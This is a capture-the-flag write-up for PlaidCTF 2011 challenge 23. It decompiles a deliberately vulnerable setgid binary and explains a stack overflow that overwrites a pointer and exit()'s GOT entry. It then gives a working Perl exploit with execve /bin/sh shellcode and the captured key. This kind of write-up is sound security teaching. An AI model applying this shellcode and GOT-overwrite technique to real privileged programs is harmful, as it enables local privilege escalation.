Joel Eriksson
Vulnerability researcher, exploit developer and reverse-engineer. Have spoken at BlackHat, DefCon and the RSA conference. CTF player. Puzzle solver (Cicada 3301, Boxen)

PlaidCTF 2011 – 23 – Exploit me – 200 pts

This is my writeup for the twenty-third challenge in the PlaidCTF 2011 competition. The information for the challenge was:

“It seems like AED also has some plans to raise hacker force!
We found this binary as an exploitation practice program in the office, but they forgot to remove the setgid flag on the program.
So we can get the secret key!

Using IDA Pro I see that the binary contains a deliberate stackbased buffer overflow, designed to allow us to overwrite a pointer that is later dereferenced and written into with a user defined value. The decompiled code is as follows:

void ExploitMe(const char *str, int val, size_t len);
int main(int argc, char **argv)
  int a2, a3;
  if (argc <= 3) {
    puts("Regards, Dolan :} ");
  a3 = atoi(argv[3]);
  a2 = atoll(argv[2]);
  ExploitMe(argv[1], a2, a3);
  return 0;
void ExploitMe(const char *str, int val, size_t len)
  int *p;
  char buf[64];
  if (len <= 71) {
    p = len;
    strncpy(buf, str, len);
    if (p)
      *p = val;

The pointer p is located directly after the 64-bytes buffer we're overflowing, and the value we're writing into the pointer is taken from our second command line argument. Since exit() is called directly after this, we use this to overwrite its GOT-entry. As you can see below, this is located at 0x80497f4.

je@isis:~/ctf/PlaidCTF-2011/23-Exploit_Me# objdump -R exploitMe | grep exit
080497f4 R_386_JUMP_SLOT   exit

Since a pointer to our buffer is located at offset 8 on the stack when exit() is called, due to the previous strncpy() call, we can use a pop-pop-ret trampoline to jump there. I found one at address 0x80484d2, and could use this for the following exploit:


my $code =
    "\xeb\x10".                     #	jmp	jumpme
                                    # callme:
    "\x5b".                         #	pop	%ebx
    "\x31\xd2".                     #	xor	%edx,%edx
    "\x88\x53\x07".                 #	mov	%dl,0x7(%ebx)
    "\x52".                         #	push	%edx
    "\x53".                         #	push	%ebx
    "\x89\xe1".                     #	mov	%esp,%ecx
    "\x31\xc0".                     #	xor	%eax,%eax
    "\xb0\x0b".                     #	mov	$0xb,%al
    "\xcd\x80".                     #	int	$0x80
                                    # jumpme:
    "\xe8\xeb\xff\xff\xff".         #	call	callme
    "/bin/sh";                      # .ascii  "/bin/sh"

$code .= "A"x(64-length($code));

my $exitgot = 0x80497f4;
my $pop2ret = 0x80484d2;

exec '/opt/pctf/exploit/exploitMe', $code.pack("L",$exitgot), $pop2ret, 68;

If NX would have been effective this challenge would have required some further digging to find a suitable ROP gadget for running system() or execve() for instance. In this case I settled with this to get the key: K3Ys_t0_15_M1nUtEs_0f_F4mE